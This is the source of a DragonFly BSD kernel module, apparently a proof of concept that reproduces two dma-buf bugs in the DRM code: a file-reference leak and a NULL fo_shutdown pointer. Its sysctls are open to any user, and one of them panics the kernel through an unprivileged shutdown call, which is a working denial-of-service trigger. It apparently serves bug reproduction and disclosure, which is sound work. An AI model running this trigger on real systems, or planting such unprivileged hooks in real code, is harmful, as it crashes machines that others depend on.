/*
 * dmabuf_demo.c -- DragonFly kmod PoC helper for DF-5133 / DF-5134
 * (sys/dev/drm/linux_dma-buf.c: dmabuf_fileops.fo_shutdown == NULL and
 *  dma_buf_fd() never drops the export reference).
 *
 * The QEMU guest has no GPU, so no drm device ever attaches and no prime fd
 * can be produced the normal (unprivileged render-node) way.  This kmod
 * stands in for that hardware step by invoking the REAL dma_buf_export() /
 * dma_buf_fd() from sys/dev/drm/linux_dma-buf.c (resolved from drm.ko) in
 * the context of the sysctl caller.  Everything after fd creation is the
 * genuine kernel path under test.
 *
 * sysctl nodes (CTLFLAG_ANYBODY => unprivileged users may fire them):
 *   hw.dmabug.mkfd   - export a dma-buf + install fd in CALLER's fd table
 *   hw.dmabug.check  - report the orphaned file's f_count (leak proof)
 *   hw.dmabug.panic  - export + fd + kern_shutdown(fd, SHUT_RDWR) in the
 *                      CALLER's context (emulates unpriv shutdown(2))
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/proc.h>
#include <sys/errno.h>
#include <sys/socket.h>	/* SHUT_RDWR */

/* ---- ABI mirrors of sys/dev/drm/include/linux/dma-buf.h (same order) ---- */
struct df_dma_buf_ops {
	struct df_sg_table *(*map_dma_buf)(void *, int);          /* +0  */
	void (*unmap_dma_buf)(void *, struct df_sg_table *, int); /* +8  */
	void (*release)(void *);                                  /* +16 */
	void *(*map)(void *, unsigned long);                      /* +24 */
	void *(*map_atomic)(void *, unsigned long);
	void (*unmap)(void *, unsigned long, void *);
	void (*unmap_atomic)(void *, unsigned long, void *);
	int (*mmap)(void *, void *);
	void *(*vmap)(void *);
	void (*vunmap)(void *, void *);
	int (*begin_cpu_access)(void *, int);
	int (*end_cpu_access)(void *, int);
	int (*attach)(void *, void *);
	void (*detach)(void *, void *);
};
struct df_sg_table { int dummy; };
struct df_export_info {
	const struct df_dma_buf_ops *ops;   /* same layout as dma_buf_export_info */
	size_t size;
	int flags;
	void *priv;
	void *resv;
};
struct df_dma_buf {                    /* mirror of struct dma_buf */
	void *resv;
	void *priv;
	const struct df_dma_buf_ops *ops;
	size_t size;
	struct file *file;
};

/* real symbols, resolved from drm.ko / kernel at kldload */
extern struct df_dma_buf *dma_buf_export(const struct df_export_info *);
extern int dma_buf_fd(struct df_dma_buf *, int);
extern int kern_shutdown(int, int);

static struct df_dma_buf *leak_db;
static int release_ran;

static void
demo_release(void *arg)
{
	release_ran = 1;
	kprintf("dmabug: ops->release(dmabuf=%p) ran -> dmabuf_close() frees it\n",
		arg);
}

static struct df_dma_buf_ops demo_ops = {
	.release = demo_release,
};

static struct df_dma_buf *
demo_export(void)
{
	struct df_export_info exp;

	memset(&exp, 0, sizeof(exp));
	exp.ops = &demo_ops;
	exp.size = 4096;
	return dma_buf_export(&exp);
}

static int
dmabug_mkfd(SYSCTL_HANDLER_ARGS)
{
	struct df_dma_buf *db;
	int fd = -1, out;

	db = demo_export();
	if (db == NULL) {
		kprintf("dmabug: dma_buf_export failed (ENFILE?)\n");
		return (ENOMEM);
	}
	fd = dma_buf_fd(db, 0);
	kprintf("dmabug: mkfd: uid=%d dmabuf=%p file=%p fd=%d f_count=%d "
		"(expect 2: falloc + fd-table)\n",
		curproc->p_ucred->cr_uid, db, db->file, fd, db->file->f_count);
	leak_db = db;
	release_ran = 0;
	out = fd;
	return sysctl_handle_int(oidp, &out, 0, req);
}

static int
dmabug_check(SYSCTL_HANDLER_ARGS)
{
	int out;

	if (release_ran) {
		out = 0;
		kprintf("dmabug: check: ops->release ran + file freed -> "
			"NO leak (fixed kernel)\n");
	} else if (leak_db != NULL && leak_db->file != NULL) {
		out = leak_db->file->f_count;
		kprintf("dmabug: check: dmabuf=%p file=%p f_count=%d "
			"(fd closed, no other owner exists; "
			">=1 => LEAK, 0/freed => ok)\n",
			leak_db, leak_db->file, out);
	} else {
		out = -1;
		kprintf("dmabug: check: no dmabuf exported yet\n");
	}
	return sysctl_handle_int(oidp, &out, 0, req);
}

static int
dmabug_panic(SYSCTL_HANDLER_ARGS)
{
	struct df_dma_buf *db;
	int fd, out = 1;

	db = demo_export();
	if (db == NULL)
		return (ENOMEM);
	fd = dma_buf_fd(db, 0);
	kprintf("dmabug: panic: uid=%d dmabuf fd=%d f_ops=%p "
		"fo_shutdown=%p (NULL => indirect call to 0)\n",
		curproc->p_ucred->cr_uid, fd, db->file->f_ops,
		db->file->f_ops->fo_shutdown);
	kprintf("dmabug: panic: calling kern_shutdown(%d, SHUT_RDWR) -- "
		"same path as an unprivileged shutdown(2) on a prime fd\n", fd);
	kern_shutdown(fd, SHUT_RDWR);
	kprintf("dmabug: panic: shutdown RETURNED (fo_shutdown set => fixed)\n");
	out = 0;
	return sysctl_handle_int(oidp, &out, 0, req);
}

SYSCTL_NODE(_hw, OID_AUTO, dmabug, CTLFLAG_RW, 0, "dmabuf demo knobs");

SYSCTL_PROC(_hw_dmabug, OID_AUTO, mkfd,
	CTLTYPE_INT | CTLFLAG_RW | CTLFLAG_ANYBODY,
	NULL, 0, dmabug_mkfd, "I", "export dmabuf fd into caller table");
SYSCTL_PROC(_hw_dmabug, OID_AUTO, check,
	CTLTYPE_INT | CTLFLAG_RW | CTLFLAG_ANYBODY,
	NULL, 0, dmabug_check, "I", "check orphaned f_count");
SYSCTL_PROC(_hw_dmabug, OID_AUTO, panic,
	CTLTYPE_INT | CTLFLAG_RW | CTLFLAG_ANYBODY,
	NULL, 0, dmabug_panic, "I", "fire shutdown() on a dmabuf fd");

static int
dmabug_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("dmabug: demo module loaded (drm.ko provides "
			"dma_buf_export/dma_buf_fd)\n");
		return 0;
	case MOD_UNLOAD:
		kprintf("dmabug: demo module unloaded\n");
		return 0;
	}
	return 0;
}

static moduledata_t dmabug_mod = { "dmabugdemo", dmabug_modevent, NULL };
DECLARE_MODULE(dmabugdemo, dmabug_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
